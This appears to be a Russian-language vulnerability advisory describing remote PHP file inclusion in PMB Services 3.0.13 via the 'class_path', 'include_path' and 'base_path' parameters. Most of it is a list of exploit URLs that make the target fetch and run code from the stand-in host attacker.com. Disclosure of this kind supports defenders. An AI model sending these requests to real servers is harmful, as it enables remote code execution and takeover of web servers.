Хакер #305. Многошаговые SQL-инъекции
Программа: PMB Services 3.0.13
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «class_path» и «include_path» множественными сценариями. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Примеры:
http://www.target.com/[PMB_path]/includes/resa_func.inc.php?class_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/bull_info.inc.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_date_box.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_file_box.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_list.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_query_list.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_text.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_comment.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_date_box.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_list.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_query_list.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_text.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/import/iimport_expl.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/netbase/clean.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/notices/perso.inc.php?class_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/quotas/main.inc.php?class_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/param/param_func.inc.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/sauvegarde/lieux.inc.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/opac_css/rec_panier.php?base_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/opac_css/includes/author_see.inc.php?base_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/autorites.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/account.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/cart.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/edit.php?include_path=http://attacker.com/evil?
